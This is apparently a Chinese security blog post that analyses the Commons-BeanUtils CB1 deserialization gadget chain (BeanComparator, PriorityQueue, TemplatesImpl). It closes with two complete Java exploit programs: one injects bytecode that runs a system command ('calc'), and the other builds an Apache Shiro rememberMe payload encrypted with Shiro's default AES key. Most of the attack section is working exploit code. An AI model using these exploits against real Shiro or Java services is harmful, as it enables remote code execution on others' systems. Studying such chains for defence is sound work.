目录
关于commons-beanutils
关于PropertyUtils.getProperty
TemplatesImpl实例化类的调用链路
TemplatesImpl#getOutputProperties竟是getter方法
接轨TemplatesImpl链的关键类——BeanComparator
exp
无依赖的Shiro反序列化利用链
关于commons-beanutils
Apache Commons BeanUtils 是 Apache 软件基金会下的一个开源项目,提供了一组工具方法,用于简化 Java 对象(Bean aka POJO)之间的属性拷贝、类型转换等操作。
关于PropertyUtils.getProperty
PropertyUtils.getProperty 是 Apache Commons BeanUtils 提供的一个方法,用于获取 JavaBean 对象的属性值。该方法会自动去调用一个JavaBean的getter方法。
代码示例:
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;public class Main {public static void main(String[] args) {// 创建一个示例对象Person person = new Person("Alice", 25);try {// 获取属性值String name = (String) PropertyUtils.getProperty(person, "name");int age = (int) PropertyUtils.getProperty(person, "age");System.out.println("Name: " + name);System.out.println("Age: " + age);} catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {e.printStackTrace();}}
}class Person {private String name;private int age;public Person(String name, int age) {this.name = name;this.age = age;}// 省略 getter 和 setter 方法
}
TemplatesImpl实例化类的调用链路
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
我们的最终目的是走到defineClass这一步,但只要可以调用这条链上的任一方法就可以触发连锁反应,最后达成目的
而CB1链,正是通过getOutputProperties的调用来完成攻击的
TemplatesImpl#getOutputProperties竟是getter方法
意料之外,情理之中
outputProperties是一个私有属性
private Properties _outputProperties;
重写了getter方法
public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties();}catch (TransformerConfigurationException e) {return null;}}
算是一个比较抽象的bean(
接轨TemplatesImpl链的关键类——BeanComparator
反序列化的入口类是PriorityQueue,其readObject方法最终会调用传入comparator的compare方法(具体分析可以看文章一开始贴的链接)
下面我们来看BeanComparator的compare方法
public int compare(T o1, T o2) {if (this.property == null) {return this.internalCompare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.internalCompare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}}
如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取传入的两个对象的 this.property 属性,而this.property是在BeanComparator的构造方法处传入的(也可以用反射来操作),完全可控
public BeanComparator(String property) {this(property, ComparableComparator.getInstance());}
当o1/o2是一个 TemplatesImpl 对象时,property 的值为 outputProperties 时,我们就可调用TemplatesImpl#getOutputProperties(),完成攻击链的调用
观察PriorityQueue的构造方法
public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;}
我们可以用反射操作PriorityQueue的queue属性为TemplatesImpl 对象的方式来实现目的。
exp
这里用的是javassist来获取字节码
<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version>
</dependency>
召唤计算器的神奇咒语:
package com.CB1;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CB1 {public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(filedname);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload = classPool.makeClass("CB1");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes = payload.toBytecode();Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();setFieldValue(templates, "_bytecodes", new byte[][]{bytes});setFieldValue(templates, "_name", "test");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();final PriorityQueue queue = new java.util.PriorityQueue<Object>(2, comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}
无依赖的Shiro反序列化利用链
Shiro中默认依赖了commons-beanutils
调用BeanComparator
的无参构造时,会默认使用ComparableComparator.getInstance()
public BeanComparator() {this((String)null);}public BeanComparator(String property) {this(property, ComparableComparator.getInstance());}public BeanComparator(String property, Comparator comparator) {this.setProperty(property);if (comparator != null) {this.comparator = comparator;} else {this.comparator = ComparableComparator.getInstance();}}
但Shiro的默认依赖里面没有 org.apache.commons.collections.comparators.ComparableComparator
我们需要找到平替
需要满足如下条件:
-
实现
java.io.Serializable
接口
-
实现
java.util.Comparator
接口
-
最好是java或shiro自带的
找到了CaseInsensitiveComparator
这个类是java.lang.String
下的内部私有类 我们通过String.CASE_INSENSITIVE_ORDER
来获取
public static final Comparator<String> CASE_INSENSITIVE_ORDER= new CaseInsensitiveComparator();
最终exp
public class CB1 {public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes",new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);PriorityQueue pq = new PriorityQueue(comparator);setFieldValue(pq, "size", 2);setFieldValue(comparator, "property", "outputProperties");setFieldValue(pq, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(pq);oos.close();
// System.out.println(barr);
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();AesCipherService aes = new AesCipherService();byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);System.out.printf(ciphertext.toString());}
}